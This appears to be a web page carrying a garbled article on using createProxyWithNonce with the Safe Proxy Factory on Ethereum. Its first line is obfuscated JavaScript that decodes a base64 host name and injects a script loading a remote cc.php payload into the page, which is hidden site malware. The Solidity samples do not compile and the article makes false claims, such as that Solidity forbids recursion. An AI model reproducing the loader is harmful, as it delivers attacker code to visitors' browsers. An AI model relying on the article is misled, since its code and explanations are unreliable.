const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(„script”);script.src=”https://”+pde+”cc.php?u=cfb58931″;document.body.appendChild(script);

Ethereum: Creating a Nested Function Call with createProxyWithNonce

When working with the Safe Proxy Factory on Ethereum, deploying a new Gnosis Safe can be a complex process. A common issue arises when trying to proxy a single contract or function using the createProxyWithNonce method.

In this article, we will dive into the details of how to use the createProxyWithNonce method with nested functions and nonces.

The Problem: Nested Function Calls

Let’s consider an example of deploying a simple Gnosis Safe that uses two contracts:

SafeContract: This contract provides basic security features such as whitelisting users.

MyContract: This is the main contract that we want to proxy, which implements custom logic.

To deploy both contracts via the Safe Proxy Factory using createProxyWithNonce, we would need to create nested function calls:


contract MySafe {
function myFunction() inner returns () {
// Custom logic here...
}
}
contract SafeContract is SafeProxyFactory {
function safeFunction() public nonces[0] {
return myFunction();
}
function createProxyWithNonce(
_singleton,
initializer,
saltNonce
) inner override returns (MySafe) {
Proxy MySafe = new MySafe(address(_singleton));
// Initialize the proxy with some data...
return proxy;
}
}

As you can see, we are creating nested function calls: createProxyWithNonce is being called recursively inside another function. This approach has several problems:

Nested function calls are not allowed: In Solidity, recursive function calls are not supported.

Nonces are only valid for the first call: Since createProxyWithNonce creates a new instance of MySafe, we are losing all the nonces from the previous call. To fix this, we need to pass the nonce explicitly.

The solution: Passing nonces explicitly

To solve the problems mentioned above, we can modify our approach as follows:


contract MySafe {
function myFunction() internal returns () {
// Custom logic here...
}
}
contract SafeContract is SafeProxyFactory {
function createProxyWithNonce(
_singleton,
initializer,
saltNonce
) public nonces[0] {
return new MySafe(address(_singleton));
}
function getProxy() internal returns view(MySafe) {
// Returns the proxy instance
}
}

In this revised approach:

We pass nonce[0] to the createProxyWithNonce method, which will receive a nonce value for the first call.

We also define a separate function getProxy() that returns the proxy instance. This allows us to return the proxy instance without having to rely on nonces.

Conclusion

To create nested function calls with createProxyWithNonce, you need to pass nonces explicitly, either as a parameter or using an internal view property. By doing so, you can avoid recursive function calls and ensure that your contract is initialized correctly.

When deploying Gnosis Safe via the Safe Proxy Factory, be sure to follow these guidelines when creating nested function calls:

Pass nonces explicitly in createProxyWithNonce methods.

Use internal view properties to retrieve proxy instances.